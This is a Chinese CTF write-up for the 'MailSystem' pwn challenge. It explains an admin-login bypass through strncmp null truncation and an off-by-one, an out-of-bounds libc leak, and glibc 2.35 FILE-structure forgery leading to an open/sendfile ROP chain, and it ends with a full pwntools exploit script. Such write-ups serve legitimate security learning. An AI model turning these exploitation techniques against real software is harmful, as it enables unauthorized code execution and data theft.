软件系统安全赛 - MailSystem
前言:本来不想写wp的,因为第一次参加软件赛,不熟悉pwn题连接远端需要代理问题而交不上flag,但毕竟做了好久本地才打通,题也是挺好,还是写一下。
解题思路
这道题首先是代码比较多,也定义了很多函数,审计比较慢。
附件保护全开,且开启了沙箱禁用了execve,execveat,简单审计后猜测栈溢出是很难了,开始估计是要打堆
(结果是打IO),所以看一下远端libc版本为glibc-2.35,无hook函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| ┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10004] └─[$] checksec pwn [10:05:05] [*] '/home/icyice/Desktop/刷的上一道题/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled ┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10005] └─[$] seccomp-tools dump ./pwn [10:05:22] line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008 0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL ┌─[icyice@icyice-virtual-machine] - [~/Desktop/刷的上一道题] - [10006] └─[$] strings ./libc.so.6 | grep GNU [10:05:24] GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.12) stable release version 2.35. Compiled by GNU CC version 11.4.0.
|
登录admin
这是一个邮件系统的 pwn 题,包含用户注册/登录、邮件读写/发送,以及管理员面板
先分析出admin账号系统中有函数存在数组前越界,或者说负数前溢出,所以要想办法登录admin账号,关键在于
admin账号的password是真的伪随机,这该怎么绕过?

两种方法:
其一是利用strncmp的\0截断特性,来绕过真随机数校验,
之所以能成功通过校验,正是因为密码password是真随机数,所以password的开头第一个数字可能是0,而由于
strncmp的\0截断特性,我们也只需要输入\x00即可,当然,成功的概率是1/256(\x00 ~ \xFF),所以需要爆破
去撞,这种方法对靶机有要求,似乎很多师傅都因为靶机环境卡在这里,本地通了,远端打不通。

登录admin账号还有另一种方式,sub_181B 用户分配存在 Off-by-One:
这里注册用户的时候qword_7060 数组只有 12 个元素(索引 0–11),但循环允许 j = 12,如果j = 12可以越界覆
盖掉一个堆指针到 qword_7060[12],(管理admin密码的那个管理块指针),这样memset()会将password清空,
一样用’\x00’绕过,还不需要爆破,提高了脚本的成功率。(这种方法是赛后从其他师傅那里学到的)

OOB泄露libc
然后就可以利用用户 ID 下界检查缺失 → OOB 读写来泄露libc

1 2 3 4 5 6 7
| if ( n12 > 12 ) { puts("Source user ID out of range!"); ... }
if ( n12_1 > 12 )
|
利用这个oob来读入bss段上的stdout,stderr,stdin里存着的libc地址,同理,也可以来篡改stdout来读ORW

伪造IO读入ORW
伪造的IO结构体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| fake_IO_FILE = p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(1) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(stdout+1) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(setcontext_61) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(libc_base + 0x21ba00) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(read_addr) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) * 2 fake_IO_FILE += p64(IO_wfile_jumps + 0x10) fake_IO_FILE += p64(stdout + 0x40) fake_IO_FILE = fake_IO_FILE.ljust(0x100, b"\x00")
|
效果:

调用setcontext+61后控制好参数去调用read(),读入ORW,接着执行ORW



read()读入ORW成功后

EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(hex(data)) p = lambda :pause() def debug(): gdb.attach(io) pause()
elf = ELF("./pwn") libc = ELF("./libc.so.6")
def add_user(name, password): sla(b"choice:", b"2") sla(b"name:", str(name)) sla(b"password:", str(password))
for attempt in range(1000): io = process("./pwn") for j in range(7): add_user(j, j)
sla(b"choice:", b"1") sla(b"name:", b"admin") sla(b"password:", b"\x00") recv_str = io.recvlines(3) if b"=== Admin Menu ===" in recv_str: break else: io.close() continue
sla(b"choice:", b"4") sla(b"(1-12)", b"-3") sla(b"(1-12)", b"1") sla(b"choice:", b"1")
sla(b"choice:", b"5") sla(b"choice:", b"1") sla(b"name:", b"0") sla(b"password:", b"0")
sla(b"choice:", b"2") sla(b"choice:", b"2") ru(b"Inbox (new mail):\n") libc_base = u64(r(6).ljust(8, b"\x00")) - 0x21b803 ls(libc_base)
open_addr = libc_base + libc.sym['open'] read_addr = libc_base + libc.sym['read'] write_addr = libc_base + libc.sym['write'] sendfile_addr = libc_base + libc.sym['sendfile'] setcontext_61 = libc_base + libc.sym['setcontext'] + 61 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f357 pop_rcx = libc_base + 0x3d1ee ret = libc_base + 0x29139 IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] stdout = libc_base + libc.sym['_IO_2_1_stdout_']
fake_IO_FILE = p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(1) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(stdout+1) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(setcontext_61) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(libc_base + 0x21ba00) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(stdout) fake_IO_FILE += p64(read_addr) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) fake_IO_FILE += p64(0) * 2 fake_IO_FILE += p64(IO_wfile_jumps + 0x10) fake_IO_FILE += p64(stdout + 0x40) fake_IO_FILE = fake_IO_FILE.ljust(0x100, b"\x00")
sla(b"choice:", b"3") sla(b"choice:", b"1") sla(b"(1-256):", b"256") sla(b"(max 256 bytes):", fake_IO_FILE)
sla(b"choice:", b"4")
sla(b"choice:", b"1") sla(b"name:", b"admin") sla(b"password:", b"\x00")
sla(b"choice:", b"4") sla(b"(1-12)", b"1") sla(b"(1-12)", b"-7") debug() sla(b"choice:", b"1") sleep(0.5)
flag_addr = stdout + 0x100
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(3) + p64(pop_rdx_r12) + p64(0) + p64(0) + p64(pop_rcx) + p64(0x100) + p64(sendfile_addr)
orw = orw.ljust(0x100, b"\x00") orw += b"./flag\x00\x00"
s(orw)
ia()
|